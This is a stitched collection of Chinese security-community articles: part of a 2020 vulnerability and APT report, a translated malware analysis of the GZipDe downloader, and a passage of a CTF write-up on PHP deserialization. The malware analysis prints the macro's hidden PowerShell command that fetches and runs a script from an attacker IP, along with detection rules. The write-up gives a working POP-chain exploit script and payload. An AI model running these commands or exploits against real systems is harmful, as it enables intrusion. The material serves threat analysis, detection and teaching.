SQL注入即通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。攻击者利用SQL注入漏洞，可以获取数据库中的多种信息(例如：管理员后台密码)，从而脱取数据库中内容(脱库)。在特别情况下，还可以修改数据库内容或者插入内容到数据库，如果数据库权限分配存在问题，或者数据库本身存在缺陷，那么攻击者可以通过SQL注入漏洞直接获取Webshell或者服务器系统权限。在本次抽样调查中，有87.5%的SQL注入漏洞被判定为高危。
**近几年安全水平整体有较大的提升，总体上SQL注入漏洞发生频率有所减少，本次抽样中占比4.3%，虽此漏洞数量呈下降趋势，但还是一个有力杀器，各企业仍需加以重视。**
命令注入是一种攻击，其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。在此攻击中，攻击者提供的操作系统命令通常以易受攻击的应用程序的权限执行。成功利用此漏洞会造成：执行未经授权的代码或命令；DoS：崩溃，退出或重新启动；读取/修改文件或目录；读取应用数据；修改申请数据等。代码注入是用户通过提交执行命令，由于服务器对用户的输入没有过滤或者过滤不严导致非预期的代码被执行。命令注入成功和代码注入成功都可能导致数据完整性丧失、机密性丧失，因为注入的代码数据始终与数据调用或写入有关。此外，代码注入通常可以导致执行任意代码。代码注入与命令注入的不同之处在于，攻击者仅受注入语言本身的功能的限制。如果攻击者能够将PHP代码注入到应用程序中并执行该代码，则它们仅受PHP能力的限制。命令注入包括利用现有代码来执行命令，通常是在shell上下文中执行。代码注入和命令注入类漏洞一旦出现，大概率危害重大，在此次抽样调查的数据中，89.5%的代码注入和命令注入漏洞被判定为高危漏洞，73.7%为公开已知漏洞，三四年过去，MS17-010仍然受到攻击者青睐，在本次调查样本中仍有一席之地。
**好在近年对于那些威胁程度较高的漏洞类型，安全人员已将其控制在较低出现频率，代码注入和命令注入仅占比2.5%。**
**深信服千里目安全实验室建议，除必要的渗透测试外，企业还应该定期整理资产，同时提升员工安全意识
，将安全即将变成一种文化，不管是在开发还是在日常办公都需具备较强的安全意识。 关注最新安全动态，及时更新相关系统，修复相关漏洞。**
### 2.APT视角下的漏洞威胁
漏洞是发起APT攻击的重要武器之一，本节要从漏洞角度阐述漏洞在APT攻击各阶段的作用及漏洞利用趋势，为研究APT攻击提供更好的洞察。
2020年度深信服千里目安全实验室监测到的热门APT组织使用的热门漏洞约33个，涉及网络设备漏洞、系统漏洞、文件漏洞、浏览器漏洞、数据库漏洞、应用程序漏洞、邮件服务器漏洞等7种类型，关联APT组织11个。
2020年度，深信服千里目安全实验室监测到的热门APT组织主要在APT攻击的初始打点（Initial Access）阶段和权限提升（Privilege
Escalation）阶段利用漏洞开展攻击，具体利用情况总结概述如下：
（1）在初始打点（Initial
Access）阶段利用的漏洞包括：CVE-2019-11510、CVE-2019-19781、CVE-2020-5902、CVE-2019-10149、CVE-2020-2021、CVE-2020-1631、CVE-2019-1652、CVE-2019-1653、CVE-2020-10189、CVE-2020-8218、CVE-2018-13379、CVE-2019-1579、CVE-2020-15505、CVE-2020-5135、CVE-2020-0688、CVE-2019-2390、CVE-2019-6110、CVE-2019-6109、CVE-2018-20685、CVE-2019-1367、CVE-2020-1380、CVE-2020-0674、CVE-2020-0968、CVE-2019-17026、CVE-2017-11882、CVE-2017-0261、CVE-2017-0199、CVE-2018-0798及CVE-2012-0158等29个漏洞。本阶段内利用漏洞开展攻击的技术对应于MITRE
ATT&CK技巧编号：T1190、T1566.001及T1566.003；
（2）在权限提升（Privilege
Escalation）阶段利用的漏洞包括：CVE-2020-0986、CVE-2019-0808、CVE-2016-7255及CVE-2020-1472等4个。本阶段内利用漏洞开展攻击的技术对应于MITRE
ATT&CK技巧编号为T1068。
漏洞在APT攻击中的具体使用情况
（1）初始打点（Initial Access）阶段
在初始打点（Initial
Access）阶段，APT攻击者主要利用面向互联网的基础设施中遗留的一些漏洞进行攻击，以此获取对系统的初始访问权限，主要采用的攻击技术包括Exploit
Public-Facing Application和External Remote Services[MITRE ATT&CK]。
综合各方面的信息，本年度内APT攻击者在初始打点（Initial Access）阶段利用漏洞的情况简要汇总如下表所示。
| 战术 | 漏洞编号 | 漏洞类型 | 攻击策略 | APT组织 |
| --------- | -------------- | -------------- | ------------------------------| -------------- |
| T1190 | CVE-2019-11510 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | Pioneer Kitten |
| T1190 | CVE-2019-19781 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | Pioneer Kitten |
| T1190 | CVE-2020-5902 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | Pioneer Kitten |
| T1190 | CVE-2019-10149 | 邮件服务器漏洞 | 攻击公开暴露应用并植入后门 | Hade |
| T1190 | CVE-2020-2021 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | NA |
| T1190 | CVE-2020-1631 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | NA |
| T1190 | CVE-2019-1652 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | APT41 |
| T1190 | CVE-2019-1653 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | APT41 |
| T1190 | CVE-2020-10189 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | APT41 |
| T1190 | CVE-2020-8218 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | NA |
| T1190 | CVE-2018-13379 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | NA |
| T1190 | CVE-2019-1579 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | NA |
| T1190 | CVE-2020-15505 | 应用程序漏洞 | 攻击公开暴露应用并植入后门 | NA |
| T1190 | CVE-2020-5135 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | NA |
| T1190 | CVE-2020-0688 | 邮件服务器漏洞 | 攻击公开暴露应用并植入后门 | NA |
| T1190 | CVE-2019-2390 | 数据库漏洞 | 攻击公开暴露应用并植入后门 | NA |
| T1190 | CVE-2019-6110 | 系统漏洞 | 攻击公开暴露应用并植入后门 | NA |
| T1190 | CVE-2019-6109 | 系统漏洞 | 攻击公开暴露应用并植入后门 | NA |
| T1190 | CVE-2018-20685 | 系统漏洞 | 攻击公开暴露应用并植入后门 | NA |
| T1566.003 | CVE-2019-1367 | 浏览器漏洞 | 结合社会工程学进行水坑攻击 | DarkHotel |
| T1566.003 | CVE-2020-1380 | 浏览器漏洞 | 结合社会工程学进行水坑攻击 | DarkHotel |
| T1566.003 | CVE-2020-0674 | 浏览器漏洞 | 结合社会工程学进行水坑攻击 | DarkHotel |
| T1566.003 | CVE-2020-096 | 浏览器漏洞 | 结合社会工程学进行水坑攻击 | DarkHotel |
| T1566.003 | CVE-2019-17026 | 浏览器漏洞 | 结合社会工程学进行水坑攻击 | DarkHotel |
| T1566.001 | CVE-2017-11882 | 文件漏洞 | 结合社会工程学进行钓鱼邮件攻击 | Gamaredon |
| T1566.001 | CVE-2017-0261 | 文件漏洞 | 结合社会工程学进行钓鱼邮件攻击 | 摩诃草 |
| T1566.00 | CVE-2017-0199 | 文件漏洞 | 结合社会工程学进行钓鱼邮件攻击 | 响尾蛇 |
| T1566.001 | CVE-2018-0798 | 文件漏洞 | 结合社会工程学进行钓鱼邮件攻击 | 黑格莎 |
| T1566.001 | CVE-2012-0158 | 文件漏洞 | 结合社会工程学进行钓鱼邮件攻击 | NA |
通过系统分析我们发现，本年度内有一些网络设备成为了攻击的重点对象，攻击者主要利用了这些设备的漏洞开展Initial Access攻击，具体包括：
• Fortinet FortiOS VPN (CVE-2018-13379)
• Citrix NetScaler (CVE-2019-19781)
• MobileIron (CVE-2020-15505)
• Pulse Secure (CVE-2019-11510)
• Palo Alto Networks (CVE-2020-2021)
• F5 BIG-IP (CVE-2020-5902)
下面，我们对这几个关键的漏洞进行简要介绍。
(1)Fortinet FortiOS SSL VPN 漏洞 (CVE-2018-13379)
CVE-2018-13379是Fortinet FortiOS SSL VPN设备的web
portal中存在的一个路径遍历漏洞。未经身份验证的攻击者可以利用该漏洞通过精心制作的HTTP资源请求下载FortiOS系统文件。
(2)Citrix NetScaler (CVE-2019-19781)
CVE-2019-19781是Citrix
NetScaler设备中存在的可导致远程代码执行的高危漏洞，未授权的攻击者可以利用它入侵控制Citrix设备，并实现进一步的内网资源访问获取。
(3)MobileIron Core & Connector 漏洞 (CVE-2020-15505)
CVE-2020-15505是MobileIron Core &
Connector设备(版本10.3及更早版本)中存在的一个远程代码执行漏洞。此漏洞允许攻击者在没有特权的情况下，可以在系统上自行选择代码执行。由于移动设备管理系统(Mobile
Device Management, MDM)对于外部设备的配置管理至关重要，所以它们通常会得到很高的管理权限，并成为攻击者的高价值攻击目标。
(4)Pulse Secure (CVE-2019-11510)
CVE-2019-11510是Pulse Connect
Secure产品中存在的一个漏洞，利用该漏洞，攻击者无需身份验证即可远程向设备执行命令注入，任意读取设备上的文档资料，如VPN帐户密码信息，进而进行网内横移。
(5)Palo Alto Networks (CVE-2020-2021)
CVE-2020-2021是Palo Alto
Networks设备的身份验证功能存在的一个安全漏洞，该漏洞会允许攻击者获取网内受保护的资料，或以管理员的身份登录设备并执行管理操作。
(6)F5 BIG-IP (CVE-2020-5902)
CVE-2020-5902是F5 BIG-IP产品中存在的一个重大远程代码执行漏洞，该漏洞允许攻击者或者任何能够远程访问设备流量管理用户界面的用户远程执行系统命令。该漏洞影响了多个版本的BIG-IP。
（2）权限提升（Privilege Escalation）阶段
在获取初始访问权限之后，APT攻击者开始采用相关技术手段来扩展对环境的访问权限，实现权限提升(Privilege Escalation)。
通过综合分析我们发现，本年度内APT攻击者在Privilege Escalation阶段利用漏洞的情况简要汇总下表所示。
| 战术 | 漏洞编号 | 漏洞类型 | 攻击策略 | **_\_ APT组织**** |
| ----- | ------------- | -------- | ---------------------- |
----------------- |
| _ | CVE-2020-0986 | 系统漏洞 | 攻击成功后进行权限提升 | DarkHotel |
| T1068 | CVE-2019-0808 | 系统漏洞 | 攻击成功后进行权 | 摩诃草 |
| T1068 | CVE-2016-7255 | 系统漏洞 | 攻击成功后进行权限提升 | 摩诃草 |
| T1068 | CVE-2020-1472 | 系统漏洞 | 提权后可以进行横向移动 | APT10 |
下面，我们对这几个关键的漏洞进行简要介绍如下：
(1)Microsoft Windows NetLogon权限提升漏洞(CVE-2020-1472)
该漏洞是Active
Directory的核心身份验证组件，允许未经身份验证的攻击者通过网络访问域控制器来完全破坏所有AD标识服务。攻击者可以利用该漏洞进行网络内横移，由此再攻击网络中的其它设备。
(2)Windows内核特权提升漏洞(CVE-2020-0986)
CVE-2020-0986是Windows
内核中存在一个提权漏洞。攻击者可利用该漏洞在内核模式中运行任意代码，安装程序，查看、更改或删除数据，或者创建拥有全部用户权限的新帐户。
(3)Microsoft Windows权限访问控制漏洞(CVE-2019-0808)
CVE-2019-0808是Windows系统存在的一个内核漏洞，该漏洞只影响Windows 7和Windows Server
2008，漏洞允许攻击者提升权限并在内核模式下执行任意代码。在谷歌威胁分析团队的报告中发现该漏洞用于进行Chrome沙箱逃逸，和CVE-2019-5786
Chrome 远程代码执行漏洞配合使用。
(4)Microsoft Win32k特权提升漏洞(CVE-2016-7255)
CVE-2016-7255是Windows的内核模式驱动程序存在的一个特权提升漏洞。攻击者可利用该漏洞在内核模式下执行任意代码。
#### （3）APT组织利用漏洞情况小结
从攻击阶段来看，初始访问阶段主要使用网关、VPN、防火墙等网络设备、Office、浏览器漏洞进行打点，或使用数据库或邮件服务器进行打点，提权阶段一般利用Windows漏洞进行提权。2020年已监测到的APT组织利用漏洞的情况总结如下：
（1）APT 41
APT 41组织在初始打点阶段，在2020年相关溯源报告显示，其偏爱使用网络设备漏洞，如Citrix ADC和Systems
Gateway路径遍历漏洞（CVE-2019-19781）、Cisco Small Business
RV320和RV325命令注入漏洞（CVE-2019-1652、CVE-2019-1653）、Zoho ManageEngine Desktop
Central远程代码执行漏洞（CVE-2020-10189 ）。
（2）Pioneer Kitten
Pioneer Kitten则倾向于利用Pulse Secure Pulse Connect
Secure任意文件读取漏洞（CVE-2019-11510）、Citrix ADC和Systems
Gateway路径遍历漏洞（CVE-2019-19781）、F5 BIG-IP远程代码执行漏洞（CVE-2020-5902）获得初始访问权限。
（3）DarkHotel
DarkHotel喜欢使用Microsoft Internet
Explorer远程代码执行漏洞（CVE-2019-1367、CVE-2020-1380、CVE-2020-0674）、Mozilla Firefox
远程代码执行漏洞（CVE-2019-17026）结合社会工程学进行钓鱼、水坑攻击打点。
（4）XDSpy
XDSpy同样也利用钓鱼、水坑攻击打点，有记录的溯源报告显示其使用过Microsoft Internet
Explorer内存破坏漏洞（CVE-2020-0968）。
（5）摩诃草
摩诃草主要利用Microsoft Office远程代码执行漏洞（CVE-2017-0261）进行打点、同时利用Microsoft
Windows权限访问控制漏洞（CVE-2019-0808）、Microsoft Win32k特权提升漏洞（CVE-2016-7255）进行后续的提权工作。
（6）Gamaredon、黑格莎及响尾蛇
Gamaredon、黑格莎、响尾蛇打点使用的是Office文档钓鱼邮件攻击，它们利用的漏洞分别是Microsoft
office组件EQNEDT32.EXE内存破坏漏洞（CVE-2017-11882，Gamaredon组织所用）、Microsoft
Office内存破坏漏洞（CVE-2018-0798，黑格莎组织所用）、Microsoft Office Word
OLE对象代码执行漏洞（CVE-2017-0199，响尾蛇所用）。
（7）Hade
Hade采取了使用较少的邮件服务器漏洞Exim远程代码执行漏洞（CVE-2019-10149）获得初始访问权限。
（8）APT 10
APT 10只收集到权限提升阶段漏洞，Microsoft Windows NetLogon权限提升漏洞（CVE-2020-1472）提权后可以进行横向移动。
（9）其它
另外，还有一些未知APT组织攻击事件的漏洞利用情况。他们也都是在初始访问阶段使用漏洞，进行打点工作，漏洞依然主要以网关、VPN、防火墙等网络设备为主。所利用的漏洞名称如下表所示。
| 序号 | 漏洞名称 |
| ---- | ------------------------------------------------------------ |
| 1 | Palo Alto Networks PAN-OS认证绕过漏洞（CVE-2020-2021） |
| 2 | JUNOS OS HTTP&HTTPS 服务高危漏洞（CVE-2020-1631） |
| 3 | Pulse Secure Pulse Connect Secure代码注入漏洞 |
| 4 | Fortinet FortiOS路径遍历漏洞 |
| 5 | Palo Alto Networks PAN-OS远程代码执行漏洞 |
| 6 | MobileIron远程代码执行漏洞 |
| 7 | SonicWall VPN OS缓冲区溢出漏洞 |
| 8 | Microsoft Exchange验证密钥远程代码执行漏洞 |
| 9 | Microsoft Windows Common Controls ActiveX Control远程代码执行漏洞 |
| 10 | MongoDB Server权限许可和访问控制问题漏洞 |
| 11 | OpenSSH中间人安全绕过漏洞（CVE-2019-6110） |
| 12 | OpenSSH中间人安全绕过漏洞（CVE-2019-6109） |
| 13 | OpenSSH访问绕过漏洞（CVE-2018-20685） |
### 2021 APT视角下的漏洞威胁趋势
基于对2020年APT攻击事件的监测和对同业分析报告的梳理，2021年的APT视角下的漏洞很可能呈现如下趋势：
（1）APT攻击可能继续基于漏洞获取初始权限后开展常规恶意软件分发
在过去的一年里，发生了多起利用常规银行木马(如Trickbot)获得目标网络立足点后实施定向勒索攻击的事件。此外，定向勒索攻击者也会从Genesis这样的地下网络市场购买受害者网络访问凭据。我们相信，APT攻击者将会在今年使用同样的策略来攻击他们选定的目标。为此，我们需要更加关注通用恶意软件，并在每台受攻击电脑上部署和采取必要的安全响应机制，以确保能够及时发现电脑上隐藏的通用恶意软件，防止其被用于开展定向网络攻击。
（2）针对远程办公场景的定向攻击慢慢开始依靠边界设备漏洞
随着组织安全性的全面提高，网络攻击者将会越来越关注利用VPN网关等网络设备中的漏洞来发起攻击。而且，我们在前面的分析中已经对所发生的此类情况进行了总结概述。其实，这个现象与向“在家办公”的工作形势变化动向是一致的，这种工作形式会严重依赖VPN设备。而对远程工作方式和VPN设备的依赖，与此同时也产生了一个新的潜在攻击矢量，即通过现实世界的社会工程方法（如“网络钓鱼”）获取用户凭据，由此获得对公司VPN的访问。在某些情况下，攻击者甚至无需在受害者的网络办公环境中部署恶意软件，即可完成情报窃取。
**万变不离其宗，针对企业而言，做好资产梳理，围绕资产建设匹配的安全能力，聚焦核心威胁，将安全变成一种文化，不管是在开发还是在日常办公都需具备较强的安全意识，才能防范于未然。**
# 团队介绍
**（1）深信服千里目安全实验室**
千里目安全实验室拥有资深白帽子加博士团队，从红蓝对抗的实战理念出发研究黑灰产技术，已发展为包括漏洞研究团队，实战攻防团队，应急响应处置团队，威胁情报研究团队，UEBA研究团队，病毒查杀对抗研究团队，异常流量大数据分析团队以及安全效果测试团队的综合性安全研究团队。
**（2）深信服深蓝攻防实验室**
深蓝攻防实验室是深信服专门进行攻防研究与红队实战的团队。研究对象包括：红蓝对抗、渗透攻击链、通用漏洞分析与挖掘、武器开发等。作为攻击队参加各种实战攻防演练，在国家级攻防演练、省级攻防演练、金融运营商等行业攻防演练、能源央企内部攻防演练等各类演习中表现突出，名列前茅。2020年在浙江、安徽、黑龙江、江西、青海、广西、海南、内蒙、天津等省级攻防演练取得冠军的成绩，亚军季军数不胜数。
**（3）深信服灯火安全研究实验室**
深信服安全蓝军灯火团队是深信服科技旗下的纯技术研究团队，专注于二进制漏洞挖掘，攻防对抗，前瞻性攻防工具预研。团队成员曾在微软、谷歌、Intel、阿里、腾讯、华为、Adobe、Oracle、联想、惠普、TP-Link等大型厂商或机构的产品发现了数百个安全漏洞。团队多名成员曾入选微软全球TOP安全研究者排行榜，在多个工业界国际安全和学术会议上发表演讲和论文。
# 参考文献
[1] Fortinet Advisory: FG-IR-18-384
[2] MobileIron Blog: MobileIron Security Updates Available
[3] Microsoft Security Advisory for CVE-2020-1472
[4] Microsoft: AD Forest Recovery - Resetting the krbtgt password
[5] CISA: APT Actors Chaining Vulnerabilities Against SLTT, Critical
Infrastructure, and Elections Organizations
[6] Kaspersky Securelist: Advanced Threat predictions for 2021 | 社区文章 |
# GZipDe：为Metasploit服务的加密下载程序
##### 译文声明
本文是翻译文章，文章来源：alienvault.com
原文地址：[https://www.alienvault.com/blogs/labs-research/gzipde-an-encrypted-downloader-serving-metasploit?utm_medium=Social&utm_source=THN&utm_content=SP&utm_campaign=GZipDE_blog](https://www.alienvault.com/blogs/labs-research/gzipde-an-encrypted-downloader-serving-metasploit?utm_medium=Social&utm_source=THN&utm_content=SP&utm_campaign=GZipDE_blog)
译文仅供参考，具体内容表达以及含义原文为准。
5月底，一家中东新闻网站发表了一篇关于下一届上海合作组织峰会的文章。一周前，AlienVault实验室发现了一份新的针对该地区的[恶意文件](https://otx.alienvault.com/indicator/file/faf003c38758cf70b12bc4899714833e4713096c8f66163e753b3f0e70f2ba28)。它使用从报告中提取的一段文本作为诱饵：
这是涉及多个服务器和工件的多阶段感染的第一步。虽然最终目标似乎是安装Metasploit后门程序，但是我们发现了一个有趣的.NET下载程序，它使用自定义加密方法来混淆进程内存并逃避防病毒检测。
## 恶意文件
[该文件](https://otx.alienvault.com/indicator/file/faf003c38758cf70b12bc4899714833e4713096c8f66163e753b3f0e70f2ba28)是由阿富汗用户上传到VirusTotal的，包含嵌入宏恶意软件的微软MS
Office Word文档（.doc）。当打开时，它执行一个存储为十六进制流的Visual
Basic脚本，并在一个隐藏的Powershell控制台中执行一个新任务：
‘C:WindowsSystem32schtasks.exe’ /Create /sc MINUTE /MO 1 /TN WindowsUpdate /TR
‘Powershell -W Hidden (New-Object
System.Net.WebClient).DownloadFile(\’http://118.193.251[.]137/dropbox/?p=BT67HU78HZ\’,\’$env:publicsvchost325.vbs\’);(New-Object -com Shell.Application).ShellExecute(\’$env:publicsvchost325.vbs\’);’
/F
利用HTTP请求，它解析为以下URL：
[http://118.193.251[.]137/dropbox/?p=BT67HU78HZ](http://118.193.251%5B.%5D137/dropbox/?p=BT67HU78HZ)
由于服务器现在处于离线状态，因此我们缺少了感染链的下一步。
基于共同的路径，我们认为这个文件是相关的，并且可能是后面感染步骤的一部分：[http://118.193.251[.]137/dropbox/filesfhjdfkjsjdkfjsdkfjsdfjksdfjsdkfasdfjnadsfjnasdnj/utorrent.exe](http://118.193.251%5B.%5D137/dropbox/filesfhjdfkjsjdkfjsdkfjsdfjksdfjsdkfasdfjnadsfjnasdnj/utorrent.exe)。
## GZipDe – 加密的下载程序
该[恶意软件](https://otx.alienvault.com/indicator/file/33c03d94f75698fac6a39a5a6c328c2be4a079717520e0ec411597b9ca3a9bef)的内部名称是Gzipde，正如它在攻击者设备上构建的路径所指定的那样：
Documents Visual Studio 2008 Projects gzipde gzipde obj Debug gzipde.pdb
我们在[GitHub上](https://github.com/DamonMohammadbagher/NativePayload_Reverse_tcp/blob/master/NativePayload_Reverse_tcp.cs)发现了原始的反向TCP有效载荷，尽管攻击者在该版本上增加了一层额外的加密有效载荷。它由名为GZipDe的Base64字符串组成，GZipDe是一个压缩后使用对称密钥算法进行自定义加密的字符串，可能会避免防病毒检测。
该密钥被描述为一个字节数组，其值为：
解压后，它通过一个解密程序。使用的加密方法是RC4，密钥长度为23个字节。
恶意软件分配一个新的内存页，具有执行、读和写权限。然后它复制解密的有效载荷的内容，并启动一个新的线程来执行它。
该脚本使用[WaitForSingleObject](https://msdn.microsoft.com/en-us/library/windows/desktop/ms687032\(v=vs.85\).aspx)
C＃类，这意味着程序访问[互斥对象](https://msdn.microsoft.com/en-us/library/windows/desktop/ms684266\(v=vs.85\).aspx)。一个特殊的处理程序控制进程对系统资源的访问。这可以防止同一恶意软件的多个实例同时运行，不必要地增加资源使用率并产生更多的网络噪音。
有效载荷包含shellcode，该代码在[175.194.42[.]8](https://otx.alienvault.com/indicator/ip/175.194.42.8)上与服务器联系
。当服务器没有启动时，Shodan
[记录](https://www.shodan.io/host/175.194.42.8)了它服务于Metasploit的有效载荷：
Metasploit正成为有[针对性攻击](https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/)的[热门](https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/)选择。
## Metasploit有效载荷
服务器，[175.194.42[.]8](https://otx.alienvault.com/indicator/ip/175.194.42.8)，交付了一个Metasploit的有效载荷。它包含绕过系统检测的shellcode（因为它看起来有一个有效的DOS标头）和一个Meterpreter有效载荷）——一个有能力的后门。例如，它可以从系统中收集信息，并联系命令和控制服务器以接收进一步的命令。
这个shellcode将整个DLL加载到内存中，所以它可以在没有信息写入磁盘的情况下运行。这个操作被称为反射DLL注入（Reflective DLL
injection）。从这一点来看，攻击者可以传输任何其他有效载荷，以获得提升的权限并在本地网络内移动。
## 附录
### 文件哈希值
[https://otx.alienvault.com/indicator/file/faf003c38758cf70b12bc4899714833e4713096c8f66163e753b3f0e70f2ba28
](https://otx.alienvault.com/indicator/file/faf003c38758cf70b12bc4899714833e4713096c8f66163e753b3f0e70f2ba28)
[https://otx.alienvault.com/indicator/file/148d280586de3a62d366c396c8bfedd6683a2e3eb1c3d956da57dbfc19d1983c
](https://otx.alienvault.com/indicator/file/148d280586de3a62d366c396c8bfedd6683a2e3eb1c3d956da57dbfc19d1983c)
<https://otx.alienvault.com/indicator/file/3932999be863d5844168e3bbb09ffc2f8d572a8f4a93946adb7e9c438f35c711>
### IP地址
118.193.251[.]137
175.194.42[.]8
### URLs
[http://118.193.251[.]137/dropbox/filesfhjdfkjsjdkfjsdkfjsdfjksdfjsdkfasdfjnadsfjnasdnj/utorrent.exe](http://118.193.251%5B.%5D137/dropbox/filesfhjdfkjsjdkfjsdkfjsdfjksdfjsdkfasdfjnadsfjnasdnj/utorrent.exe)
[http://118.193.251[.]137/dropbox/?p=BT67HU78HZ](http://118.193.251%5B.%5D137/dropbox/?p=BT67HU78HZ)
### 网络检测
**多用途**
AV ATTACK_RESPONSE Metasploit Reverse Shell Verification (Echo)
ET ATTACK_RESPONSE Metasploit/Meterpreter – Sending metsrv.dll to Compromised
Host
ET ATTACK_RESPONSE Metasploit Meterpreter Reverse HTTPS certificate
**专用**
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:”AV TROJAN GZipDe
MacroMalware CnC Checkin”; flow:established,to_server; content:”/dropbox/?p=”;
http_uri; depth:12; content:!”User-Agent|3a| “; http_header;
content:!”Referer”; http_header; pcre:”^//dropbox/?p=[a-zA-Z0-9]*$/U”;
reference:md5,951d9f3320da660593930d3425a9271b; classtype:trojan-activity;
sid:xxx; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:”AV TROJAN GZipDe
MacroMalware Payload Request”; flow:established,to_server;
content:”/dropbox/file”; depth:13; http_uri; content:”.exe”; http_uri;
distance:0; isdataat:!1,relative; content:!”User-Agent|3a| “; http_header;
content:!”Referer”; http_header;
reference:md5,951d9f3320da660593930d3425a9271b; classtype:trojan-activity;
sid:xxx; rev:1;)
### 统一安全管理（USM）关联规则
系统妥协 – 代码执行 – 由Office Word创建的Powershell进程
交付和攻击 – 可疑下载 – 通过Office宏下载文件
环境意识 – 代码执行 – 可疑的PowerShell参数
### Yara规则
rule gzipde_hunt {
meta:
author = "AlienVault Labs"
description = "Hunt rule to identify files related to Gzipde"
copyright = "Alienvault Inc. 2018"
reference = "https://otx.alienvault.com/pulse/5b239254174e5d5edab34e05"
strings:
$a = "118.193.251.137" nocase wide ascii
$b = "BT67HU78HZ" nocase wide ascii
$c = "2E0EB747-BE46-441A-A8B1-97AB27B49EC5" nocase wide ascii
$d = "gzipde.pdb" nocase wide ascii
$e = "C:\Users\jhon\Documents\Visual Studio 2008" nocase wide ascii
condition:
any of them
}
import "dotnet"
rule MeterpreterEncryptedPayloadDotNetGzipDE {
meta:
type = "malware"
description = "GZipDe"
author = "[email protected]"
reference1 = "https://github.com/DamonMohammadbagher/NativePayload_Reverse_tcp/blob/master/NativePayload_Reverse_tcp.cs"
reference2= "https://otx.alienvault.com/indicator/file/33c03d94f75698fac6a39a5a6c328c2be4a079717520e0ec411597b9ca3a9bef"
strings:
$pdb = "gzipde.pdb"
$st1 = "PAGE_EXECUTE_READWRITE"
$st2 = "EncryptInitalize"
$st3 = "EncryptOutput"
$st4 = "CreateThread"
$st5 = "VirtualAlloc"
condition:
uint16(0) == 0x5A4D and
((dotnet.typelib == "c1181bc0-0102-44e9-82ba-7c1ca7d24219" and
dotnet.guids[0] == "2e0eb747-be46-441a-a8b1-97ab27b49ec5") or
$pdb or
(dotnet.number_of_modulerefs == 1 and
dotnet.modulerefs[0] == "kernel32" and
all of ($st*)))
}
审核人：yiwang 编辑：边边 | 社区文章 |
这本来是第四届浙江省赛的题目，有很多解法，但在赛后受歪四大佬指点。一个很“怪”的解法出现了，可能是我见识少。先放原题和一种常规解法。
原题
<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
public function __wakeup(){
$this->func = '';
die("Don't serialize me");
}
}
class Test{
public function getFlag(){
system("cat /flag?");
}
public function __call($f,$p){
phpinfo();
}
public function __wakeup(){
echo "serialize me?";
}
}
class A{
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B{
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
if(isset($_GET['pop'])){
$pop = $_GET['pop'];
$o = unserialize($pop);
throw new Exception("no pop");
}
由于赛后没有环境，所以在phpstudy里复现的，把getFlag里的cat语句修改为了包含flag.php，并且输出flag。其实成功调用那个getFlag方法就可以。
### 常规思路
如何调用getFlag？在类Fun中call_user_func函数可以做到，所以只需调用Fun里的`__call`，而调用Fun中不存在的方法即可，由此可以看到类A中`__get`方法中含有调用方法的语句。调用不可访问的属性触发__get方法，这个不可访问的属性包括私有属性以及不存在的属性。这里通过类B即可达到。
注意：`call_user_func`函数，第一个参数是函数名，后面的参数是此函数的参数。若调用的函数在类里，那么这个参数要用数组形式传递，第一个元素为类名，第二个元素为函数名。绕过`__wakeup`修改属性个数即可，可能包含不可见字符，要编码。
exp：
<?php
class Fun{
private $func;
public function __construct(){
$this->func = [new Test,'getFlag'];//也可以写为$this->func = "Test::getFlag";这样由于没有实例化Test类，还不会触发Test里的__wakeup()
}
}
class Test{
public function getFlag(){
}
}
class A{
public $a;
}
class B{
public $p;
}
$Test = new Test;
$Fun = new Fun;
$a = new A;
$b = new B;
$a->a = $Fun;
$b->a = $a;
$r = serialize($b);
$r1 = str_replace('"Fun":1:','"Fun":2:',$r);
echo urlencode($r1);
payload：
O%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22p%22%3BN%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A2%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Test%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22getFlag%22%3B%7D%7D%7D%7D
### 强制触发垃圾回收机制思路
在常规思路中我们的pop链是B→A→Fun→Test，可是B里的`__destruct()`方法貌似没有主动触发。在之前一篇文章说过destruct的触发
> __destruct（析构函数）当某个对象成为垃圾或者当对象被显式销毁时执行
>
> 显式销毁，当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL
> 隐式销毁，PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉
在常规思路中destruct是隐式销毁触发的，当然这里使用强行GC
首先我们要简单了解垃圾回收是什么，就是把内存中不需要使用的量给清除掉，收回它所占用的空间。
#### 旧的GC
在PHP5.3版本之前,使用的垃圾回收机制是单纯的“引用计数”。即：
①每个内存对象都分配一个计数器，当内存对象被变量引用时，计数器+1；
②当变量引用撤掉后（执行unset()后），计数器-1；
③当计数器=0时，表明内存对象没有被使用，该内存对象则进行销毁，垃圾回收完成。
